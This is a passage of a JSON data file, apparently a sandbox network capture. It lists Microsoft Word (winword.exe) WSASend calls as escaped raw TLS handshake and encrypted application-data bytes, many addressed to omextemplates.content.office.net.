  317. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xd1\\xf0\\xa5\\x10rz\\xca\\xa9a\\xd1\\x7f\\xb3\\xcah\\xd5c\\x0c\\xfa\\x7f\\xec\\xfc\\x10\\x13\\x10i='\\xd8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  318. },
  319. {
  320. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\xf7\\xd6\\xa8\\x8d{\\x06\\x81\\xc3\\x89$xs\\xb5\\x9b\\xf6\\x1c\\x06\\xa58\\x1al8\\xaci\\xf9\\xd8\\x95a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  321. },
  322. {
  323. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%,x\\x11x||\\xae\\xb4\\xf5b\\x7f\\x1evn\\xeb\\xae\\x1b\\x11%h\\x9azx\\xb4<\\x85\\x07\\xd9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  324. },
  325. {
  326. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\n\\xfd\\x16\\xf9\\x19\\xe8\\xc7\\x97\\xcc\\x8f\\xc7\\xc9\\xcc\\x7f\\xdbj\\xdd`\\xa1\\xe9\\xab'{\\x8dr\\xbd\\xf8\\x95\\x90\\xaaxv\\xd01\\xba\\x02^\\xd9\\xceo\\x89\\x8c4x\\xa5\\xa1\\xac\\x16r;\\xa1\\xb7\\xde\\xd4j>\\xc2\\x80s\\xa7\\x93\\xba\\xd9\\x81\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0008,@\\xa4\\xf0zi\\xef\\xeac\\x9e>\\x03\\xbd\\x9e0;|\\xa4\\xe4|o\\xd6\\xf8\\xdc\\xf1\\xc7u\\x9e\\xf9\\xd9\\xf0\\xd9\\xae\\x82\\xec\\xd3\\x8c\\xfe_z\\xe5\\xe8\\xf3\r5\\x8b\\x0b"
  327. },
  328. {
  329. "http_request": "winword.exe_WSASend_f\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf8\\xc4a\\x8cm\\xf1lx\\x1f`jw\t\\xfc\\x80\\xfe\\xe9e\\x83{\\xba\\x15\\x0c\\xc75\\x08\\xc5\\xcf\\xaa\\x86\\xce\\x1e\\x8c\\xf2@\\x1e\\xe8i\\xb9\\x01\\x8daw\\x1a\\xceu\\x88]o\\x05\\x9d;+bt\\x81\\x18\\x1b\\xa3\\xd24v\\x92n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\x0efh\\x96\\xa6\\x7f\\x84\\xfd\\xfe\\xfe\\x84?\r\\xc5l\\xabe\\xf6\\xea\\x86\\x9d\\xaa>h1\\x94\\xfe\\xac@\\xe6c\\x02\\xfe\\x1b\\x8brw-\\x9c\\x9d\\xac\\xecm\\x80\\x19/\\xbe"
  330. },
  331. {
  332. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0b\\x80\\x14a\\x05\\xfc\\xe0\\xdfn{\\x12\\xa1\\xb2sw\\xd1q~\\xa9\\x89\\x0c\\x97n\\xedw[\\xcap\\xcc\r\\xdd\\x17\\xa1\\xde]\\x9d\\xf4\\x08\\xd1\\xc5\\x1a\\xa0\\x81\\x03\\xae$\\xd0\\xfa \\xa5\\x8c\\xa9\\x10\\x9d@\\x18\\x06\\xa0\\x01\\x07's5x\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbe\\xa7:zl\\x909]-n\\xba\\xcdj\\xf0?\\x90,\\xba\\x93$z\\x83\\xf8\\xc5kzw\\x0f,\\x04\\xc3\\xb1\\xbf\\x84\\xda&\\ub\\x99\\xbe\\xcb\\x81h\\x04\\xe7ip"
  333. },
  334. {
  335. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb3\\xf8#\\x91\\x0ci\\xaau\\xbb\r\r\\xfb\\xf4l[s\\x98\\x18p\\x10yvq\\x8f\\x0f\\xc7\\xea\\x06\\xa1\\xcdn|\\xb3\\xe8k\\x1f\\x14\\xd8\\xa0\\x9e\\xa6q\\xd55\\xc4r\\xd3\\xf0\\xd5\\xccf\\xd8\\xb4'\\xcc\\xda@\\xa7(\\x14\\xc2\\x15\\x80\\xe5\\xbe\\xb8__(\\x01\\x03\\xe5\\x8fj>\\xce\\x90:\\xb5\\x1bo\\xfcix\\x1a\\xed\\x01\\xe5\\xa7\\xd0\\xdb1xtbh,0\\xe4\\x07\\xee\\x0e\tf\\xd9\\xde\\xf2\\xe9\\x82fy\\xe0\\x8e\\xa0m\\xd8\\x8cg\\xcc'\\xd2\\xe4\\xb1t\\xe3\\xa4re\\xa1\\xce\\x84\\xa8\\x16\\xd2\\xc4\\x08z\\xb6g\\xac_o\\xee9\\xf8\\x07\\x03\\x12\\xe4\\xf5\\x9fg\\xca\\xd3soi.\ng\\x0cr\\xb0\\xfb\\x1e`\\x83%\\xf4i<l\\xe7%\\x98\\x86e!t\\xf53h\\xe2\\xbd\\xcf~\\xd0rc\\xd3\\x0e\\xba\\x1fc\\xdeg\\x07\\xbd\\x9fq|i\td5h\\xa3\\x9b \\x1b\\xea\\xe8\\xb2]\\x1ak\\x1d\\xf2\\x80\\xe4z\\xc9'\\\\xd3\\xb1\\x9b\\xb2\\xc8\\xac\\xdfxao n b\\x08\\xa9+\\xa9f\\xc8~\\xc3\\xf03\\xa7n\\xfb"
  336. },
  337. {
  338. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\x84y\\x94\\xee\\x1d'l\\x98\\xa2\\x84zf\\x8en\\x93m\\x102t\\x9a \\x88nh\\xad\\xb7cr\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  339. },
  340. {
  341. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd1\"\\xab\\xcb\\xefw\\xee$\\x95\\x08\\x93\\x99\t\\xdc\\xc6\\xcb\\xfd\\x99|99\\x11\\x99q\\xa6l8\\xcce\\x8du\\xcceb\\xc6)2\\x1dh\\x86\\x80n\\xe1\\x9d\\\\xd3`\\xdco*u~\\x17\t\\x06#\\xde\\x15\\xd5\\xf9y\\xf8b\\xef\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3\\x8ba\\xdez7\\xe87z\\xad0+fbu\\xc8\\x0bi\\x88\\x92\\x9e\\xf8\\xad\\x16\\xfan\\xf4\\xb3r\\xeb[\\xe3t%\\xd4d!\\x8f\\x94\\x01;\\x1ek\\x00g\\x98fy"
  342. },
  343. {
  344. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%v\\x19\\xd1\\xa7\ne\\xcb\\x1c\\xd9\\xe0~\\xac\\xe2yq0:\\xa5\\x8e\r\\x91;\\xbbt\\x96\\xe9kb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  345. },
  346. {
  347. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcf\\xc0\\x00`a\\xf9]\\xf0q\t\\xac\\xbd\\x06yg\\x93\\xc0tq\\xba\\x85\\f\\xbexa^ '\\x1bh8@\\xca\\xf6\"wm(\\xae\\xed^\\x11qns\\xe1\\xcd0\\xe1\\x169\\xef\\xb2c\r_\\xff\\xa5\\xe0r\\x89\\xc8\\x142\\x81\\xb4\\xd6\\x99\\x91\\xe0\\xcd\\x96l\\xcdf)\\x0bx\\x00\\x9a\\xdc\\x83m\\xd3\\xa6\\xc670\\xe0\\xbf\\xc3\\x17\\xdfayi\\x9fc\\xda]\\x9az\\x97\\x15lst\\xa1\\x05\\xb9\\xc9\"\\x97v\\xf5\\xea\\xdb\\xee\"\\xb7\\x17\\xf3\\x9a\\xabh\\xbac\\xb4\\x8c\\xbf\\x10\\xd6\\xb7\\x88\\x89\\xdb\\xee\\xea\\xa3\\x90\\xfd\\xd3\\x14u\\xde\\xf5a\\x0f\\xed\\xeev=t\\x08\\xcf\\xc3^\\xaaeg7\\xcfe\\xd1\\x0ewe\\xea2\\xf38\\x84\\xba\\xf9a|w\\xa4\\xec\\xd3\\xb6r\\x8f\\d\\x9bxz\\x919'c\\x82a\\x0e\\xe9\\xed\\x1b\t\\xe5\\x15j\\xddv\\x86\\x9e\\xdd\\xaf;\\xadb\\xb7\\x1d\\x13\\x16d>\\x91\\xd3\\x9ck'\\xadt4\\xe3\\xa2\\xe0\\x00\\x81\\xc6\\xd5\\xb2$\\x93\t\\xf72\\xfb\\x9b\\xf8r\\x13spms\\xbd\\xd4g"
  348. },
  349. {
  350. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb6\\x01d\\xcd\\xea\\x0f3\\x19e`\\xd6t\\xa8\\xcc\\xdd\\xfaw\\xa3\\xfda\\x97\\\\x8c\\x92p\\xf8unm\\xb8\\xc4vku\\x81\\x1dw\\x16\\x10\\xafg\\xfc\\xecu\\xdc\\xc4mvb\\x96f\\xcb\\xc7\\x95#\\x16v\\xf1&\\xe6[\\x1b\\xe6\\x9eiaci\\x89\\xfe\\xdf\\x0f\\x90\\x15\\xff\\xa0\\x81\\x89vn5\\x1f\\xef:gx\\xc3\\xc7\\xe0\\xe6\\xc5\\xe1\\x80p9m\\x86+t\\x88p\\x11\\xa1\\xf3\\x87b\\xdcj\\x0ey\\x8f\\xa1\\xd5u/\\xbb3z\\xdbov\\xd4fbp\\xc9\\xcfv\\x02\\xfe\\xc7\\x95\\xca\\x1bj(v\\xfca\\xbc\\x93\\x07\\xbf\\xcb\\xdb\\x8a8\\xea\\xad\\x98\\xbd\\xbc)\\xdc\\xf8\\xc1-\\x06\\xc0_\t\\xe3\\xc9\\x95\\x16\\xf8q\\x7f\\x03\\xf6\\xab\"\\xf3\\x8dx\\xe1;\\xad}\\xa9\\x94\\xf7\\xdc\\xc5\\xc1q\\xea\\xbe\\xe4_\\xea\\x93\\xbdk\\xb4\\xcdy\\x08x4s\\x04\\x16\\x89%\\x8a\\xe4q(s\\x87^\\xd5\\xae$kd\\xaa#z\\xc4\\x9a\\x86e~,]\\xc8\\x0c\\x8e\\x04\\xe8q\\xbf\\xe0e12\\x8a\\xdf\\xc3\\xdf\\x13\\xcc\\xa6\\x83\\xfb\\xe4\\xfd'\\xb3"
  351. },
  352. {
  353. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010n\\xbfy:&bo\\xd8$\\x0e\\xd2\\xa8\\xaar\\xed\\xfa<6\\x82\\x88-\\xeedo{:\\x82,\\xf7r'q\\xd2\\xca\\xfec\\x15;\\x0c\\x96\\x8f\\x1c\\x89m\\x93\\xda\\x02\\xde\\xda\\xb67#h{\\xa3c\\x9d\\x95\\xec\\xb6t\\xf3\\xb5a\\x82\n\\xed@\\xce=tx\\x92\\x9a\\xe1dg!\\xd6\\x92&_\\x8d\\xc8l\\xbd;\\xe0\\x89b;\\x16\\x1f\\xda\"|\\xcb\\x19\\x1b\\xd2zy\\xb2;\\xd6\n=\\x00\"\\xa3t\\x0f\\xf9\\xaf\\x83\\xa7g\\x1f~\\x8f\\xa9\\x13n\\x19nd\\x9d\\xc2q\\x9em\\xb5\\x89\\xa4t\\x0e\\xe4\\x0fp~\\x8ej\\xf5\\xc4\\xba/\\\\xd1a1\\x1b\\x12xt\\xef0\\xf9\\xf1\\x14%\\xc7\\xc7t\\xcd\\xac\\xa18\\x96\\xb4\\xb0\\xa7\\xbeqp\\xc8zk\\xd4k\\x99\\xd5\\x95\\x0ch;v!\\xc7\\x01\\x1f\\x1c\\x1ak\\xbf\\x1e\\xc1\\xa4\\x82*\\x1e\\x04\\xf7\\xc3s\\xbc\\xae\\xd7\\xb6\\xd8[\\xcb\\x87u\\x9c\\xa6\\x93\\xab20\\xf3\\x9bs\\x90\\xf3\\xf0\\xc4i(9\\xa8\\xc0c\n:z\\x19\\x04be\\x82n\\x03\\x83\\x81\\xcd\\xa1s\\x8d0\\xa5\\xa7"
  354. },
  355. {
  356. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xae$)\\xae>\\xea\\x9a\\xc2\\xa6<\"i\\xca\\xcf\\x87\\xbfhj|\\xeds\\x7fh!g\\xbe\\x95\\x80h<\\xe4\\x7f)\\x04sg\\xc9\\xbf\\xe8\\x04\\xcd@d\\x84o\\x80\\x0f\\xcb\\xb9\\xa8f\\&\\xb3+r-v\\xf8\\xca\\xe3\"\\xcaqm\\xbf%f-\\x95\\xdf\\xffa\\xc2\\xdd\\x9cc\\x7f.y\\xee\\x87\\x8e\\xfb;\\x1a\\xfdc\\x94\\x16\\xbc_w\\xf7h%\\xe5\\x1c\\x1exu\\xd1\\x89b\\x1f\\xf6\\xb2\\xf5\tr\\x877\\x85?ny\\xd6\\x8c\\xdc\\xd2f\\xaa\\xef\\xae\\xcb*\\xba\\x85\\xe8\\x14p$8\\x8d\\x02gwjob\\x16\\x89\\xee\\x0c\\xa9\\xeb\\xa9c#j\\xa2\\x84\\x98\\xfb\\x93\\xdd\\xee\\xaaj\\xad\\xd1\\xa6\\xcbq\\xf0~\\xaf=\\xb7g\\x03\\xfcu\\xb18~l\\xack\\x9e $\\xb9\\xeb\\xf1\\xday*\\x9a\\xaca\\x9e7q\\x99\\xbf\\x95\\xf6l5\\xfe\\xb5\\x06\\xc7j%\\x99\\xac\\xe8g\\x96\\x94\\xea\\xfafw6\\xe0\\x81\\xad\\x9f\\xeey\\xdd\\xf7o/{\\xcf\\xbc4_0>\\xadh?\\xd0\\x1eix\\x8a\\xa1\\xdf\\x85m\\x12u\\xca\\x0b|"
  357. },
  358. {
  359. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010#\\xa0\\x85m\\x18t\\xf1\\xc2m\\x051<l\\xb2u\\xff\\x89\\x86p\\xf7\\x998\\x1dl\\xe2\\x08u\\x08\\xaff\\xcf\\xe2\\xd4h\\xb3\\xc4\\x9e6b\\xdb\\x89\\x9ad\\xdf\\xf7hl*s'\\x1fs(]\\x17\\xc8\\xe7u)h\\xbc\\xfejym\\x98\\x1c'\\xf81\\xd6\\xa4\\xc5\\xcd\\xef\\x88\\xd9\\x17\\xa1v\\xcc[gc\\x85\\xd4\\xcf\\xa3\\x0b\\xc6!d(v\\x80\\x1d(\\x01y/is2\\xb6\\x92\\xc8\\xec\\xdc\\xd9xmt\\x10\\xc0y\\xb3\\f\\xb3\\xe8][\\x0c\\x00\\xc2\\xb4dp\\xb6\\x98\\xec\\xefzf\\\\xd5\\xa0\\xca\\xbak=nf~\\xd9\\x9e\\xeb\\xb7\\xcd\\x8b\\xc3m,\\xe8zt7)\\x05\\xa5|>\\x1a\\x19\\xb2@]b\\x8c\\xc7\\x97\\xc63v\\xfc\\x88\\xf5\\x96uf\\x1b3^\\x87\\x02g\\xdf\\xa4ih\\x11\\xab\\xc2\"\n\\x87\\x1c\\xf3\\x036\\xd7g\\xdat\\xde\\xe9\\xcb\\xee4\\x98\\xe9\\xa6\t\\xe6\\xec8z\\xd11\\xbd7\\x03\\xce\\xc8\\x1ec\\xfdt\r?d\\xf0c\\x80\\xb8\\xed\\x80\\xbb\\xae?\\xf8\\x03\\xb2e%\\xb7\\xaf>\\x05\\xb9\\xa8"
  360. },
  361. {
  362. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x03\\xa5\\xfc\\x15_\\xd2\\x1e\\xc7;\\xc8\\xbc\\x13\\xc9\\xb2\\x14\\x8dr\\x0fct?\\x07\\xf0n\"\\x10\\xce\\x9f\\xe42\\x1ef\\xb8{\\xe1\\xc0\\xf11]\\x95\\xec\\xf0..\t\\xfc\\x02\\x9a\\x90f\\xb8\\xb4_c-\\xdc\\xd4\\xd6\\xd7o+|i\\xae\\xe0\\xa9lr\\x9fh\\x10\\x88\\xe2h\\xea\\xea`z\\x92zs\\xe98\\xb0\\xc8\r\\x8b\\xc8\\xb1.\\xe91e\\x13\\x17g8s?\\xca\\x0b\\xb8'\\xacz\\x8b@\\xc2r\\x86}\\xb9ks\\xaa\\xc7 j\\xeb\\xfb\\x12\\xe4\\xc5\\x18ke~/\\xd8\\xd1\\xe7o\\xb0\\xe2s\\x1e\\xa7v\\x1d\\xa3\n\\xa0\\x81\\xbc\\xc3\\xbe\\x1b\\xc0t!!\\x07:ay\\x00\\x9fc*\\xca\\x91\\xe6\\xde*\\x04\\x91tj\\x97\\xcc;\\xfa\\xe5\\xa8\\xbc\\x15\\xe2\\xd2b\\xfd\\x8e2=:\\xccd\\xc1\\xa7\\x9c\\x97\\x0e\\xde\\x10\\xf5%\\x91\\xc2}\\xb4\\x9d\\x8b\\xbb\\xde\\x00\\xb8\\xb7\\xd1u\\x05\\xe0\\xe1\\xdf$\\xda \\x0b\\xf0\\xb3\\xab\\xe2\\xabn\\xbe\\xa6\\x03\\xca6t\\xc4\\xa9\\xca5\\x8c6\\x89#wn\\x19\\x18\\x9fc!\\xce\\xcc\\xcc\\x90\\xb9\\x9dr\\x91"
  363. },
  364. {
  365. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc1\\x9b\\x91\\x9bp\\x0f\\x80\\xe3\\x7f\\x84\\x0fj\\x9f\\xde\\xaf\\xcd\\x1f\\x01\\xcd\\x11i_e\\x89\\x8c\\xa9\\x82~\\xd4\\xe5\\xa2k\\xf4?\\x90ql\\xc1a\\xf7\\xbfyo\\xa8&c\\xbao\\x8dt\\xc2=\t\\xeco\\xd9\\x1b\\xc7\\xd4\\x01\\x83*j\\x8d\\xcd\\xe2\\xcds\\x97\\xfc\\xf6p\\xac\\x8d'\\xc4\\xba\\x0eu\\x0e+\\xb3\\xc4*7o]lp\\xecl\\x87\\xe1\ncy\\x05\\xbd\\xb45\n\\x8b\\xde\\xc8\\xf4\\xea\\xba\\x0e\\x18\\xfb%\\x90\\xc8|df\\xa9c\\x01\\xc2\\xa9<>\\x88\\x85\\x8c\\x1d\\xdb}\\xe0\\xae\\xd9$;\\xd4\\xc5a\\xda\\xf3ma\\x987\\xb7\\x0f\\x86\\x85\\xe3\\xe6/\\x062y+\\xeb\\xb0\\xf3\\x17\\xa3n*\\x01ro\\x16r\\x9c\\xce!\\xdd\\xac\nc\\xa13\\xc7?\\xaa\\xf9[\\xe6\\x9f\\xd5\\xc3\\xfe\\xa2\\x15\\xbe\\xf6\\xb6>q(\\xf8\\xa4\\xd7=\\xcf\\xaf\\xe9\\xdf\\xfea\\xae\\x9b\\xb7\\x9d\\x00\\xe9i@\\x12\"x8\\xbe\\xfa6\\x18nfma\\x8d\\xe2\\xce5\\x00bdte\\xbe/\\xa4.\\x88\\xee\\x02fjx:\\xd8d.vclld"
  366. },
  367. {
  368. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\x80\\xaa\\x1d\tyn\\xcc_\\xa7\\xa7\\xcf\\x18\\x0e\\xb2\\xe2\\xc6\\xdf\\x91\\xf4\\xf5\\x1a%a,\\xdb\\xbcu\\xe8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  369. },
  370. {
  371. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01%\\x8c\\xcen\\xd0\\xa8\\xb6;\\xfc\\x18b\tk\\xbc(\\xe8\\xb69y\\xabu\\xa2u\\x1c\n\\\\xfd\\x1ar\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  372. },
  373. {
  374. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbe\\xb4p{[\\xed=\\xf2?\\xeerp:3d\\xd4\\x9d.\\xe3\\xa7\\xbf)\\xb6\\xbb\\xae\\x03amawwl\\x83;\\xaf\\x8d\\xb2\\x82ho\\xaahc\\xce}\\xff!4c\\x15,\\xa6\\xa99g)\\xeb\\xea\\x1f\\x17\n`$d\"6cz\\xa8\\x1do\\xb8\\x02t\\x87t\\xf8\\xa9\\x87=\\xea\\xc9)h\\x91k\\x19ek\\xf3\\x0er\\x18\\xe3\\xc1\\x99ep\\xb2\\x1c\\x94\\x0e\\x9a\\x14\\xed@\\xc4-22\\x18\\xac^\\xfd\\x0eav\\xea\\x07\\xe5|\\xaf\\x9a\\x8c^e\\x8d$\\x14i^`\\x0c\\xe8k\\x91\\xb9\\xbf\\xa3\\xf2@\\x0b\\x8cj\\x87u\\xd2\\xdcp\\x89i\\xaf}\\x96\\x85\\x94\\xac\\xbd\\x95#$\\x8e\\x1c\\xbcf\\x0b\\xf7\\xed\\xba\\\\x8c\\x87\\xc9c[yz\\xa8\\xe8_\\x87u\\x95+\\x81j5z\\x95\\xde,kdf7\\xf1o~;\\x0c\\x86\\x99,\\x88\\xfee\\xcd\\x04[h\\x0f9\\xe8=\\x0b\\xb6q\\xe4cg\\x01\\xa5%5\\x83\\xf1\r/=\\xcc\\x0b(\\xb0\\x04\\x032\t\\x1b\\xa6\\xb7o\\xd7\\x98x\\x1bfo\\x07\\xda`\\xc5"
  375. },
  376. {
  377. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9d\\xb1b\\xefn\\xb4\\xf23\\x9d\\xb5\\xd0\\x10\\x04\\x0fi`\\xb7y\\xaa\\x9ar\\xcf5)\\xb4\\xd3\\x9e2&\\xbf\\xb260\\xd0\\x99\\xf0\\xb3q[\\x95\\x8c\\x06\\x8d\\x84\\xd0\\xd9[\\xb4^\\xd9n*\\x99\\xcap\\xba\\x97y\\xa1\\xfb\\x9b\\x12\t\\xb9\\x92zb\\xd3\\xc4!\\xe9\\xc8^\\x87>;\n!\\x04\\xa9&\\x88\\xbf\\xbavvi*\\xaf\\xed\\xd1\\xb9\\x87*\\xd0\\xdc3t?k\\x81\\xb8\\xc8\\xe2y\\xbe\\x82\\x1e\n\\x83@h\\xf9'\\x83\\x08\\xf6\\xd2f3u\\x864(\\x9d\\x0b@\\xd0\\xb5\\xdd\n\\xa3\\x17\\xd4\\x14\\xa7(\\xf7<)\\x16\\x94/\\xe2\\\\xd3\\xaf\\xf7\\xbe\\xba\\xcc~\\x03/\\xf3\\xf5\\x06\\x04\\x7f\\xdc\\xf7\\xcc\\x16\\x8c\\x88\\xe6\\xc1\"\\x19>)\\xfd\\xad\"\\xd0\\xb4=5\\x11\\x00\\xc2\\xab\\xe9\\xda\\xe5\\x11!0\\x19\\xcas\\x0b\\x94;\\xcb\\xf7\\xa4\\x92i\\xfdb\\x1d\\xd1\\xd8\\xa6>\\xd2w\\xa1\\xcbj\\x8a\\xfe\\x03\\xb7\\xe2\\xec\\xd5\\x89\\x18\\x06\\x0f2\\xd120a!\\xb0\\xbbh\\xfc\\xbf\\xc7o*\"\\x0e\"\\xdd$\\x99\\xe9\\x9b\\xa2;\\xa9\\xda\\xc4\\xca\\xe3"
  378. },
  379. {
  380. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010q\\xc5\\x9bfh\\xc7n\\xf0\\xb5\\x04\\xdc\\xf9\\xe8\\x7f\\x7f\\xca\tl\\x91\\xc5e\\x98\t\\xac/r\\xf2fm\\xc3\\xa3\\x18b\\xa8\\xf4e\\x06\\xf6\\x88\\x05^\\xd9j\\xd0\\x98\\xad\\xc1q'\\xbd&maob:r\r\\xc9\\xdf \\x9fe\\xaf\\xbf\\x08\\x15_)(\\xe1.\\xe8\\x14\\xdfdv\\xb5\\xf8\\x124\"[\\xd9\\x9d\\x13y\\xb4\\x19\\xc6\\xbd\\xac\\x1d\\x1ak\\x84\\x18\\xf7h(\\x95\\x00j~\\x9f\\xe8\\xc3\\xac\\xb0\\xd3j\\xc2\\xeb\r\\xba\\xc0\\xf1\\xe9md\\xb5w\\x1c.\\x868\\xec9\\x90\\x07w\\xbd\\xf7\\x9e\\xde\\x8c\\x11\\x95p\\x82\\xc2\\x9b1\\xcf\\xbc\\xac[k\\xbbm\\xdf\\x8a\\xaf\\x17r_\\xa1\\xef,\\xe0\\xdb\\x81\\xdd \\xa2\\x06\\x1d\\x87)\\xe9s\\xd2j\\xc2gd\\xado\\xf0\\xcb\\x90*\\xd3\\xfc\\xf7\\xda\\xf8\\x91\\x91\\x96j\\xd9\\x846\\x8b\\xc3\\xc0+af\\x05d-\\xf0\\x1e;\\x0e\\x9d!\\xca\\xcb\\xd0\\xfb8u'\\xf0q\\xfb/k;\\x87\\xfe\\x93\\x17\\x8a47\\xdb\\xf9\\xd4f\\xadn\\x87y\\xe7\\x9d7\\xfb\\xa2\\xef\\xe8q\\xe8\\xb43\\xa4\\xaa\\x80"
  381. },
  382. {
  383. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010+\\xa4\\x94#$\\x91\\xa6\\x10\\xc4ed\\x8a \\x9b\\x8e\\x88e\\xf0\\xd3g\\x8d\\xb8\\x87\\x95/oq\\xd7~\\x93\\x01p\\xb0\\xd8f\\x9d\\xf8\\x95]lk\\xf3\\x8a\\x87?n\\xf7\\xe6f\\xd1\\xe1\\xaa*d\\x9a\\x18q\\xd6s\\x05\\x01\\x9e(-\\x8e#\r2!do\\x9d\\xa7\\xdf\\x0e#c\\xfczn\\xb0\\x08mx<vp\\xfen9=\\xe9\\xe5\\x04\\x02\\xe6\\xaad[$)d\\xc3y\\xe8'n\\xd7en\\xa0#\\xd9g\\x8d\\xb0\\xecf\\x00\\xb7\\x83\\xdb\\\\xb6\\xfc.\\xad\\xa3\\xa2\\x8d\\x96\\xc9\\x8f\\xf5\\xb5?\\x97\\x90n<\\xf7xu@\\xd1\r(~go\\xe1>qr\\xe6~\\xbfp4k8<r\\xe0\\xc5y\\xa0\\xfe\\x15\\x9a\\x89\\xe0\\xdc\\x8f\\xaf\\x81\\xd5:\\xd0\\xc2\\x10\\xf0\\x08m\\x199g\\x0ff\\xce\\xfa\\xe6\\xe7(\\xc3\\xae\\x91\\x96\\x85\\xd9\r_d)j\\x82\\xb3\\xef\\xe3\\xf3t\\xcd5\\xe8&\\x11z\\xec\\x944x\\x1bk\\xde\\x9a\\x1b\\x1e\\x9e\\xee\\xaccf\\x84gi\\xd7\\x18q6\\xdbpl\\xac2\\x05\\xb7@@\\xc8]\""
  384. },
  385. {
